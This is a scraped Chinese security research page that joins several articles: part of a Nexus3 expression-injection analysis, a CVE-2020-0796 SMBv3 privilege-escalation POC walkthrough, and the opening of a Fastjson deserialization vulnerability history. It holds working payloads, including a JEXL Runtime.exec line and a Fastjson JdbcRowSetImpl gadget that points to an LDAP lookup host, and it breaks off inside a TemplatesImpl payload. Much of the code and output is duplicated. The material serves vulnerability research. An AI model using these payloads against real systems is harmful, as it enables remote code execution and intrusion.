buildConstraintViolationWith（标号1）出现在了HelperValidator（标号2）的isValid中，HelperValidator又被注解在HelperAnnotation（标号3、4）之上，HelperAnnotation注解在了HelperBean（标号5）之上，在ConstraintViolationFactory.createViolation方法中使用到了HelperBean（标号6、7）。按照这个思路要找调用了ConstraintViolationFactory.createViolation的地方。

也来手动逆向回溯下看能不能回溯到有路由处理的地方。

搜索ConstraintViolationFactory：

有好几个，这里使用第一个BowerGroupRepositoriesApiResource分析，点进去看就能看出它是一个API路由：

ConstraintViolationFactory被传递给了super，在BowerGroupRepositoriesApiResource并没有调用ConstraintViolationFactory的其他函数，不过它的两个方法，也是调用了super对应的方法。它的super是AbstractGroupRepositoriesApiResource类：

BowerGroupRepositoriesApiResource构造函数中调用的super，在AbstractGroupRepositoriesApiResource赋值了ConstraintViolationFactory（标号1），ConstraintViolationFactory的使用（标号2），调用了createViolation（在后面可以看到memberNames参数），这也是之前要到达漏洞点所需要的，这个调用处于validateGroupMembers中（标号3），validateGroupMembers的调用在createRepository（标号4）和updateRepository（标号5）中都进行了调用，而这两个方法通过上面的注解也可以看出，通过外部传递请求能到达。

BowerGroupRepositoriesApiResource的路由为/beta/repositories/bower/group，在后台API找到它来进行调用（使用3.21.1测试）：

还有AbstractGroupRepositoriesApiResource的其他几个子类也是可以的：

CleanupPolicyAssetNamePatternValidator未做清除点分析

对应上面搜索结果的CleanupPolicyAssetNamePatternValidator，可以看到这里并没有做StripEL清除操作：

这个变量是通过报错抛出放到buildConstraintViolationWithTemplate中的，要是报错信息中包含了value值，那么这里就是可以利用的。

搜索CleanupPolicyAssetNamePatternValidator：

在CleanupPolicyAssetNamePattern类注解中使用了，继续搜索CleanupPolicyAssetNamePattern：

在CleanupPolicyCriteria中的属性regex被CleanupPolicyAssetNamePattern注解了，继续搜索CleanupPolicyCriteria：

在CleanupPolicyComponent中的to CleanupPolicy方法中有调用，其中的cleanupPolicyXO.getCriteria也正好是CleanupPolicyCriteria对象。toCleanupPolicy在CleanupPolicyComponent的可通过路由进入的create、previewCleanup方法又调用了toCleanupPolicy。

构造payload测试：

然而这里并不能利用，value值不会被包含在报错信息中，去看了下RegexCriteriaValidator.validate，无论如何构造，最终也只会抛出value中的一个字符，所以这里并不能利用。

与这个类似的是CronExpressionValidator，那里也是通过抛出异常，但是那里是可以利用的，不过被修复了，可能之前已经有人提交过了。还有其他几个没做清除的地方，要么被if、else跳过了，要么不能利用。

人工去回溯查找的方式，如果关键字被调用的地方不多可能还好，不过要是被大量使用，可能就不是那么好处理了。不过上面几个漏洞，可以看到通过手动回溯查找还是可行的。

JXEL造成的漏洞（CVE-2019-7238）

可以参考下@iswin大佬之前的分析https://www.anquanke.com/post/id/171116，这里就不再去调试截图了。这里想写下之前对这个漏洞的修复，说是加了权限来修复，要是只加了权限，那不是还能提交一下？不过，测试了下3.21.1版本，就算用admin权限也无法利用了，想去看下是不是能绕过。在3.14.0中测试，确实是可以的：

但是3.21.1中，就算加了权限，也是不行的。后面分别调试对比了下，以及通过下面这个测试：

JexlEngine jexl = new JexlBuilder().create();

String jexlExp = "''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')";
JexlExpression e = jexl.createExpression(jexlExp);
JexlContext jc = new MapContext();
jc.set("foo", "aaa");

e.evaluate(jc);

JexlEngine jexl = new JexlBuilder().create();

String jexlExp = "''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')";

JexlExpression e = jexl.createExpression(jexlExp);

JexlContext jc = new MapContext();

jc.set("foo", "aaa");

e.evaluate(jc);

才知道3.14.0与上面这个测试使用的是org.apache.commons.jexl3.internal.introspection.Uberspect处理，它的getMethod方法如下：

而在3.21.1中Nexus设置的是org.apache.commons.jexl3.internal.introspection.SandboxJexlUberspect，这个SandboxJexlUberspect，它的get Method方法如下：

可以看出只允许调用String、Map、Collection类型的有限几个方法了。

总结

看完上面的内容，相信对Nexus3的漏洞大体有了解了，不会再无从下手的感觉。尝试看下下其他地方，例如后台有个LDAP，可进行jndi connect操作，不过那里调用的是context.getAttribute，虽然会远程请求class文件，不过并不会加载class，所以并没有危害。
有的漏洞的根源点可能会在一个应用中出现相似的地方，就像上面那个buildConstraintViolationWithTemplate这个keyword一样，运气好说不定一个简单的搜索都能碰到一些相似漏洞（不过我运气貌似差了点，通过上面的搜索可以看到某些地方的修复，说明已经有人先行一步了，直接调用了buildConstraintViolationWithTemplate并且可用的地方似乎已经没有了）
仔细看下上面几个漏洞的payload，好像相似度很高，所以可以弄个类似fuzz参数的工具，搜集这个应用的历史漏洞payload，每个参数都可以测试下对应的payload，运气好可能会撞到一些相似漏洞

本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/1166/

作者：叶霖杨 | Categories:技术分享 | Tags: 表达式解析漏洞

没有评论

CVE-2020-0796 Windows SMBv3 LPE Exploit POC 分析

2020-07-31
作者：SungLin@知道创宇404实验室
时间：2020年4月2日
英文版本：https://paper.seebug.org/1165/

0x00 漏洞背景

2020年3月12日微软确认在Windows 10最新版本中存在一个影响SMBv3协议的严重漏洞，并分配了CVE编号CVE-2020-0796，该漏洞可能允许攻击者在SMB服务器或客户端上远程执行代码，3月13日公布了可造成BSOD的poc，3月30日公布了可本地特权提升的poc，这里我们来分析一下本地特权提升的poc。

0x01 漏洞利用原理

漏洞存在于在srv2.sys驱动中，由于SMB没有正确处理压缩的数据包，在解压数据包的时候调用函数Srv2DecompressData处理压缩数据时候，对压缩数据头部压缩数据大小OriginalCompressedSegmentSize和其偏移Offset的没有检查其是否合法，导致其相加可分配较小的内存，后面调用SmbCompressionDecompress进行数据处理时候使用这片较小的内存可导致拷贝溢出或越界访问，而在执行本地程序的时候，可通过获取当前本地程序的token+0x40的偏移地址，通过发送压缩数据给SMB服务器，之后此偏移地址在解压缩数据时候拷贝的内核内存中，通过精心构造的内存布局在内核中修改token将权限提升。

0x02 获取Token

我们先来分析下代码，POC程序和smb建立连接后，首先会通过调用函数OpenProcessToken获取本程序的Token，获得的Token偏移地址将通过压缩数据发送到SMB服务器中在内核驱动进行修改，而这个Token就是本进程的句柄的在内核中的偏移地址，Token是一种内核内存结构，用于描述进程的安全上下文，包含如进程令牌特权、登录ID、会话ID、令牌类型之类的信息。

以下是我测试获得的Token偏移地址：

0x03 压缩数据

接下来poc会调用RtCompressBuffer来压缩一段数据，通过发送这段压缩数据到SMB服务器，SMB服务器将会在内核利用这个token偏移，而这段数据是'A'*0x1108+ (ktoken + 0x40)。

而经压缩后的数据长度0x13，之后这段压缩数据除去压缩数据段头部外，发送出去的压缩数据前面将会连接两个相同的值0x1FF2FF00BC，而这两个值将会是提权的关键。

0x04 调试

我们先来进行调试,首先因为这里是整数溢出漏洞，在srv2!Srv2DecompressData函数这里将会因为加法0xffff ffff + 0x10 = 0xf导致整数溢出，并且进入srvnet!SrvNetAllocateBuffer分配一个较小的内存。

在进入了srvnet!SmbCompressionDecompress然后进入nt!RtlDecompressBufferEx2继续进行解压，最后进入函数nt!PoSetHiberRange，再开始进行解压运算，通过OriginalSize= 0xffff ffff与刚开始整数溢出分配的UnCompressBuffer存储数据的内存地址相加得一个远远大于限制范围的地址，将会造成拷贝溢出。

但是我们最后需要复制的数据大小是0x1108，所以到底还是没有溢出，因为真正分配的数据大小是0x1278,通过srvnet!SrvNetAllocateBuffer进入池内存分配的时候，最后进入srvnet!SrvNetAllocateBufferFromPool调用nt!ExAllocatePoolWithTag来分配池内存：

虽然拷贝没有溢出，但是却把这片内存的其他变量给覆盖了，包括srv2!Srv2DecompressDatade的返回值, nt!ExAllocatePoolWithTag分配了一个结构体来存储有关解压的信息与数据，存储解压数据的偏移相对于UnCompressBuffer_address是固定的0x60,而返回值相对于UnCompressBuffer_address偏移是固定的0x1150,也就是说存储UnCompressBuffer的地址相对于返回值的偏移是0x10f0,而存储offset数据的地址是0x1168,相对于存储解压数据地址的偏移是0x1108。

有一个问题是为什么是固定的值，因为在这次传入的OriginalSize= 0xffff ffff，offset=0x10，乘法整数溢出为0xf，而在srvnet! SrvNetAllocateBuffer中，对于传入的大小0xf做了判断，小于0x1100的时候将会传入固定的值0x1100作为后面结构体空间的内存分配值进行相应运算。

然后回到解压数据这里，需解压数据的大小是0x13，解压将会正常进行，拷贝了0x1108 个'A'后，将会把8字节大小token+0x40的偏移地址拷贝到'A'的后面。

解压完并复制解压数据到刚开始分配的地址后正常退出解压函数，接着就会调用memcpy进行下一步的数据拷贝，关键的地方是现在rcx变成了刚开始传入的本地程序的token+0x40的地址！！

回顾一下解压缩后，内存数据的分布0x1100(‘A’)+Token=0x1108，然后再调用了srvnet!SrvNetAllocateBuffer函数后返回我们需要的内存地址，而v8的地址刚好是初始化内存偏移的0x10f0，所以v8+0x18=0x1108,拷贝的大小是可控的，为传入的offset大小是0x10,最后调用memcpy将源地址就是压缩数据0x1FF2FF00BC拷贝到目的地址是0xffff9b893fdc46f0(token+0x40)的后16字节将被覆盖，成功修改Token的值。

0x05 提权

而覆盖的值是两个相同的0x1FF2FF00BC,为什么用两个相同的值去覆盖token+0x40的偏移呢，这就是在windows内核中操作Token提升权限的方法之一了，一般是两种方法：

第一种方法是直接覆盖Token，第二种方法是修改Token，这里采用的是修改Token。

在windbg中可运行kd> dt _token的命令查看其结构体：

所以修改_SEP_TOKEN_PRIVILEGES的值可以开启禁用, 同时修改Present和Enabled为SYSTEM进程令牌具有的所有特权的值0x1FF2FF00BC，之后权限设置为：

这里顺利在内核提升了权限，接下来通过注入常规的shellcode到windows进程winlogon.exe中执行任意代码:

如下所示执行了弹计算器的动作:

参考链接:
本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/1164/

作者：叶霖杨 | Categories:技术分享 | Tags: 漏洞分析

没有评论

Fastjson 反序列化漏洞史

2020-07-31

作者：Longofo@知道创宇404实验室
时间：2020年4月27日
英文版本：https://paper.seebug.org/1193/

Fastjson没有cve编号，不太好查找时间线，一开始也不知道咋写，不过还是慢慢写出点东西，幸好fastjson开源以及有师傅们的一路辛勤记录。文中将给出与Fastjson漏洞相关的比较关键的更新以及漏洞时间线，会对一些比较经典的漏洞进行测试及修复说明，给出一些探测payload，rce payload。

Fastjson解析流程

可以参考下@Lucifaer师傅写的fastjson流程分析，这里不写了，再写篇幅就占用很大了。文中提到fastjson有使用ASM生成的字节码，由于实际使用中很多类都不是原生类，fastjson序列化/反序列化大多数类时都会用ASM处理，如果好奇想查看生成的字节码，可以用idea动态调试时保存字节文件：

插入的代码为：

BufferedOutputStream bos = null;
FileOutputStream fos = null;
File file = null;
String filePath = "F:/java/javaproject/fastjsonsrc/target/classes/" + packageName.replace(".","/") + "/";
try {
    File dir = new File(filePath);
    if (!dir.exists()) {
        dir.mkdirs();
    }
    file = new File(filePath + className + ".class");
    fos = new FileOutputStream(file);
    bos = new BufferedOutputStream(fos);
    bos.write(code);
} catch (Exception e) {
    e.printStackTrace();
} finally {
    if (bos != null) {
        try {
            bos.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    if (fos != null) {
        try {
            fos.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

BufferedOutputStream bos = null;

FileOutputStream fos = null;

File file = null;

String filePath = "F:/java/javaproject/fastjsonsrc/target/classes/" + packageName.replace(".","/") + "/";

try {

File dir = new File(filePath);

if (!dir.exists()) {

dir.mkdirs();

}

file = new File(filePath + className + ".class");

fos = new FileOutputStream(file);

bos = new BufferedOutputStream(fos);

bos.write(code);

} catch (Exception e) {

e.printStackTrace();

} finally {

if (bos != null) {

try {

bos.close();

} catch (IOException e) {

e.printStackTrace();

}

if (fos != null) {

try {

fos.close();

} catch (IOException e) {

e.printStackTrace();

}

生成的类：

但是这个类并不能用于调试，因为fastjson中用ASM生成的代码没有linenumber、trace等用于调试的信息，所以不能调试。不过通过在Expression那个窗口重写部分代码，生成可用于调式的bytecode应该也是可行的（我没有测试，如果有时间和兴趣，可以看下ASM怎么生成可用于调试的字节码）。

Fastjson 样例测试

首先用多个版本测试下面这个例子：

//User.java
package com.longofo.test;

public class User {
    private String name; //私有属性，有getter、setter方法
    private int age; //私有属性，有getter、setter方法
    private boolean flag; //私有属性，有is、setter方法
    public String sex; //公有属性，无getter、setter方法
    private String address; //私有属性，无getter、setter方法

    public User() {
        System.out.println("call User default Constructor");
    }

    public String getName() {
        System.out.println("call User getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("call User setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("call User getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("call User setAge");
        this.age = age;
    }

    public boolean isFlag() {
        System.out.println("call User isFlag");
        return flag;
    }

    public void setFlag(boolean flag) {
        System.out.println("call User setFlag");
        this.flag = flag;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", flag=" + flag +
                ", sex='" + sex + '\'' +
                ", address='" + address + '\'' +
                '}';
    }
}

//User.java

package com.longofo.test;

public class User {

private String name; //私有属性，有getter、setter方法

private int age; //私有属性，有getter、setter方法

private boolean flag; //私有属性，有is、setter方法

public String sex; //公有属性，无getter、setter方法

private String address; //私有属性，无getter、setter方法

public User() {

System.out.println("call User default Constructor");

}

public String getName() {

System.out.println("call User getName");

return name;

}

public void setName(String name) {

System.out.println("call User setName");

this.name = name;

}

public int getAge() {

System.out.println("call User getAge");

return age;

}

public void setAge(int age) {

System.out.println("call User setAge");

this.age = age;

}

public boolean isFlag() {

System.out.println("call User isFlag");

return flag;

}

public void setFlag(boolean flag) {

System.out.println("call User setFlag");

this.flag = flag;

}

@Override

public String toString() {

return "User{" +

"name='" + name + '\'' +

", age=" + age +

", flag=" + flag +

", sex='" + sex + '\'' +

", address='" + address + '\'' +

'}';

}

package com.longofo.test;

import com.alibaba.fastjson.JSON;

public class Test1 {
    public static void main(String[] args) {
        //序列化
        String serializedStr = "{\"@type\":\"com.longofo.test.User\",\"name\":\"lala\",\"age\":11, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";//
        System.out.println("serializedStr=" + serializedStr);

        System.out.println("-----------------------------------------------\n\n");
        //通过parse方法进行反序列化，返回的是一个JSONObject]
        System.out.println("JSON.parse(serializedStr)：");
        Object obj1 = JSON.parse(serializedStr);
        System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());
        System.out.println("parse反序列化：" + obj1);
        System.out.println("-----------------------------------------------\n");

        //通过parseObject,不指定类，返回的是一个JSONObject
        System.out.println("JSON.parseObject(serializedStr)：");
        Object obj2 = JSON.parseObject(serializedStr);
        System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());
        System.out.println("parseObject反序列化:" + obj2);
        System.out.println("-----------------------------------------------\n");

        //通过parseObject,指定为object.class
        System.out.println("JSON.parseObject(serializedStr, Object.class)：");
        Object obj3 = JSON.parseObject(serializedStr, Object.class);
        System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());
        System.out.println("parseObject反序列化:" + obj3);
        System.out.println("-----------------------------------------------\n");

        //通过parseObject,指定为User.class
        System.out.println("JSON.parseObject(serializedStr, User.class)：");
        Object obj4 = JSON.parseObject(serializedStr, User.class);
        System.out.println("parseObject反序列化对象名称:" + obj4.getClass().getName());
        System.out.println("parseObject反序列化:" + obj4);
        System.out.println("-----------------------------------------------\n");
    }
}

package com.longofo.test;

import com.alibaba.fastjson.JSON;

public class Test1 {

public static void main(String[] args) {

//序列化

String serializedStr = "{\"@type\":\"com.longofo.test.User\",\"name\":\"lala\",\"age\":11, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";//

System.out.println("serializedStr=" + serializedStr);

System.out.println("-----------------------------------------------\n\n");

//通过parse方法进行反序列化，返回的是一个JSONObject]

System.out.println("JSON.parse(serializedStr)：");

Object obj1 = JSON.parse(serializedStr);

System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());

System.out.println("parse反序列化：" + obj1);

System.out.println("-----------------------------------------------\n");

//通过parseObject,不指定类，返回的是一个JSONObject

System.out.println("JSON.parseObject(serializedStr)：");

Object obj2 = JSON.parseObject(serializedStr);

System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());

System.out.println("parseObject反序列化:" + obj2);

System.out.println("-----------------------------------------------\n");

//通过parseObject,指定为object.class

System.out.println("JSON.parseObject(serializedStr, Object.class)：");

Object obj3 = JSON.parseObject(serializedStr, Object.class);

System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());

System.out.println("parseObject反序列化:" + obj3);

System.out.println("-----------------------------------------------\n");

//通过parseObject,指定为User.class

System.out.println("JSON.parseObject(serializedStr, User.class)：");

Object obj4 = JSON.parseObject(serializedStr, User.class);

System.out.println("parseObject反序列化对象名称:" + obj4.getClass().getName());

System.out.println("parseObject反序列化:" + obj4);

System.out.println("-----------------------------------------------\n");

}

说明：

这里的@type就是对应常说的autotype功能，简单理解为fastjson会自动将json的key:value值映射到@type对应的类中
样例User类的几个方法都是比较普通的方法，命名、返回值也都是常规的符合bean要求的写法，所以下面的样例测试有的特殊调用不会覆盖到，但是在漏洞分析中，可以看到一些特殊的情况
parse用了四种写法，四种写法都能造成危害（不过实际到底能不能利用，还得看版本和用户是否打开了某些配置开关，具体往后看）
样例测试都使用jdk8u102，代码都是拉的源码测，主要是用样例说明autotype的默认开启、checkautotype的出现、以及黑白名白名单从哪个版本开始出现的过程以及增强手段

1.1.157测试

这应该是最原始的版本了（tag最早是这个），结果：

serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true,"sex":"boy","address":"china"}
-----------------------------------------------


JSON.parse(serializedStr)：
call User default Constructor
call User setName
call User setAge
call User setFlag
parse反序列化对象名称:com.longofo.test.User
parse反序列化：User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------

JSON.parseObject(serializedStr)：
call User default Constructor
call User setName
call User setAge
call User setFlag
call User getAge
call User isFlag
call User getName
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}
-----------------------------------------------

JSON.parseObject(serializedStr, Object.class)：
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化对象名称:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------

JSON.parseObject(serializedStr, User.class)：
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化对象名称:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------

serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true,"sex":"boy","address":"china"}

-----------------------------------------------

JSON.parse(serializedStr)：

call User default Constructor

call User setName

call User setAge

call User setFlag

parse反序列化对象名称:com.longofo.test.User

parse反序列化：User{name='lala', age=11, flag=true, sex='boy', address='null'}

-----------------------------------------------

JSON.parseObject(serializedStr)：

call User default Constructor

call User setName

call User setAge

call User setFlag

call User getAge

call User isFlag

call User getName

parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject

parseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}

-----------------------------------------------

JSON.parseObject(serializedStr, Object.class)：

call User default Constructor

call User setName

call User setAge

call User setFlag

parseObject反序列化对象名称:com.longofo.test.User

parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}

-----------------------------------------------

JSON.parseObject(serializedStr, User.class)：

call User default Constructor

call User setName

call User setAge

call User setFlag

parseObject反序列化对象名称:com.longofo.test.User

parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}

-----------------------------------------------

下面对每个结果做一个简单的说明

JSON.parse(serializedStr)

JSON.parse(serializedStr)：
call User default Constructor
call User setName
call User setAge
call User setFlag
parse反序列化对象名称:com.longofo.test.User
parse反序列化：User{name='lala', age=11, flag=true, sex='boy', address='null'}

JSON.parse(serializedStr)：

call User default Constructor

call User setName

call User setAge

call User setFlag

parse反序列化对象名称:com.longofo.test.User

parse反序列化：User{name='lala', age=11, flag=true, sex='boy', address='null'}

在指定了@type的情况下，自动调用了User类默认构造器，User类对应的setter方法（setAge，setName）,最终结果是User类的一个实例，不过值得注意的是public sex被成功赋值了，private address没有成功赋值，不过在1.2.22, 1.1.54.android之后，增加了一个SupportNonPublicField特性，如果使用了这个特性，那么private address就算没有setter、getter也能成功赋值，这个特性也与后面的一个漏洞有关。注意默认构造方法、setter方法调用顺序，默认构造器在前，此时属性值还没有被赋值，所以即使默认构造器中存在危险方法，但是危害值还没有被传入，所以默认构造器按理来说不会成为漏洞利用方法，不过对于内部类那种，外部类先初始化了自己的某些属性值，但是内部类默认构造器使用了父类的属性的某些值，依然可能造成危害。

可以看出，从最原始的版本就开始有autotype功能了，并且autotype默认开启。同时ParserConfig类中还没有黑名单。

JSON.parseObject(serializedStr)

JSON.parseObject(serializedStr)：
call User default Constructor
call User setName
call User setAge
call User setFlag
call User getAge
call User isFlag
call User getName
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}

JSON.parseObject(serializedStr)：

call User default Constructor

call User setName

call User setAge

call User setFlag

call User getAge

call User isFlag

call User getName

parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject

parseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}

在指定了@type的情况下，自动调用了User类默认构造器，User类对应的setter方法（setAge，setName）以及对应的getter方法（getAge，getName），最终结果是一个字符串。这里还多调用了getter（注意bool类型的是is开头的）方法，是因为parseObject在没有其他参数时，调用了JSON.toJSON(obj)，后续会通过gettter方法获取obj属性值：

JSON.parseObject(serializedStr, Object.class)

JSON.parseObject(serializedStr, Object.class)：
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化对象名称:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}

JSON.parseObject(serializedStr, Object.class)：

call User default Constructor

call User setName

call User setAge

call User setFlag

parseObject反序列化对象名称:com.longofo.test.User

parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}

在指定了@type的情况下，这种写法和第一种JSON.parse(serializedStr)写法其实没有区别的，从结果也能看出。

JSON.parseObject(serializedStr, User.class)

JSON.parseObject(serializedStr, User.class)：
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化对象名称:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}

JSON.parseObject(serializedStr, User.class)：

call User default Constructor

call User setName

call User setAge

call User setFlag

parseObject反序列化对象名称:com.longofo.test.User

parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}

在指定了@type的情况下，自动调用了User类默认构造器，User类对应的setter方法（setAge，setName），最终结果是User类的一个实例。这种写法明确指定了目标对象必须是User类型，如果@type对应的类型不是User类型或其子类，将抛出不匹配异常，但是，就算指定了特定的类型，依然有方式在类型匹配之前来触发漏洞。

1.2.10测试

对于上面User这个类，测试结果和1.1.157一样，这里不写了。

到这个版本autotype依然默认开启。不过从这个版本开始，fastjson在ParserConfig中加入了denyList，一直到1.2.24版本，这个denyList都只有一个类（不过这个java.lang.Thread不是用于漏洞利用的）：

1.2.25测试

测试结果是抛出出了异常：

serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true}
-----------------------------------------------


JSON.parse(serializedStr)：
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.longofo.test.User
    at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:882)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
    at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
    at com.alibaba.fastjson.JSON.parse(JSON.java:137)
    at com.alibaba.fastjson.JSON.parse(JSON.java:128)
    at com.longofo.test.Test1.main(Test1.java:14)

serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true}

-----------------------------------------------

JSON.parse(serializedStr)：

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.longofo.test.User

at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:882)

at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)

at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)

at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)

at com.alibaba.fastjson.JSON.parse(JSON.java:137)

at com.alibaba.fastjson.JSON.parse(JSON.java:128)

at com.longofo.test.Test1.main(Test1.java:14)

从1.2.25开始，autotype默认关闭了，对于autotype开启，后面漏洞分析会涉及到。并且从1.2.25开始，增加了checkAutoType函数，它的主要作用是检测@type指定的类是否在白名单、黑名单（使用的startswith方式）

以及目标类是否是两个危险类（Classloader、DataSource）的子类或者子接口，其中白名单优先级最高，白名单如果允许就不检测黑名单与危险类，否则继续检测黑名单与危险类：

增加了黑名单类、包数量，同时增加了白名单，用户还可以调用相关方法添加黑名单/白名单到列表中：

后面的许多漏洞都是对checkAutotype以及本身某些逻辑缺陷导致的漏洞进行修复，以及黑名单的不断增加。

1.2.42测试

与1.2.25一样，默认不开启autotype，所以结果一样，直接抛autotype未开启异常。

从这个版本开始，将denyList、acceptList换成了十进制的hashcode，使得安全研究难度变大了（不过hashcode的计算方法依然是公开的，假如拥有大量的jar包，例如maven仓库可以爬jar包下来，可批量的跑类名、包名，不过对于黑名单是包名的情况，要找到具体可利用的类也会消耗一些时间）：

checkAutotype中检测也做了相应的修改：

1.2.61测试

与1.2.25一样，默认不开启autotype，所以结果一样，直接抛autotype未开启异常。

从1.2.25到1.2.61之前其实还发生了很多绕过与黑名单的增加，不过这部分在后面的漏洞版本线在具体写，这里写1.2.61版本主要是说明黑名单防御所做的手段。在1.2.61版本时，fastjson将hashcode从十进制换成了十六进制：

不过用十六进制表示与十进制表示都一样，同样可以批量跑jar包。在1.2.62版本为了统一又把十六进制大写：

再之后的版本就是黑名单的增加了

Fastjson漏洞版本线

下面漏洞不会过多的分析，太多了，只会简单说明下以及给出payload进行测试与说明修复方式。

ver<=1.2.24

从上面的测试中可以看到，1.2.24及之前没有任何防御，并且autotype默认开启，下面给出那会比较经典的几个payload。

com.sun.rowset.JdbcRowSetImpl利用链

payload：

{
  "rand1": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://localhost:1389/Object",
    "autoCommit": true
  }
}

{

"rand1": {

"@type": "com.sun.rowset.JdbcRowSetImpl",

"dataSourceName": "ldap://localhost:1389/Object",

"autoCommit": true

}

测试（jdk=8u102，fastjson=1.2.24）：

package com.longofo.test;

import com.alibaba.fastjson.JSON;

public class Test2 {
    public static void main(String[] args) {
        String payload = "{\"rand1\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
//        JSON.parse(payload); 成功
        //JSON.parseObject(payload); 成功
        //JSON.parseObject(payload,Object.class); 成功
        //JSON.parseObject(payload, User.class); 成功，没有直接在外层用@type，加了一层rand:{}这样的格式，还没到类型匹配就能成功触发，这是在xray的一篇文中看到的https://zhuanlan.zhihu.com/p/99075925，所以后面的payload都使用这种模式
    }
}

package com.longofo.test;

import com.alibaba.fastjson.JSON;

public class Test2 {

public static void main(String[] args) {

String payload = "{\"rand1\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";

// JSON.parse(payload); 成功

//JSON.parseObject(payload); 成功

//JSON.parseObject(payload,Object.class); 成功

//JSON.parseObject(payload, User.class); 成功，没有直接在外层用@type，加了一层rand:{}这样的格式，还没到类型匹配就能成功触发，这是在xray的一篇文中看到的https://zhuanlan.zhihu.com/p/99075925，所以后面的payload都使用这种模式

}

结果：

触发原因简析：

JdbcRowSetImpl对象恢复->setDataSourceName方法调用->setAutocommit方法调用->context.lookup(datasourceName)调用

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl利用链

payload：

{
  "rand1": {
    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes": [
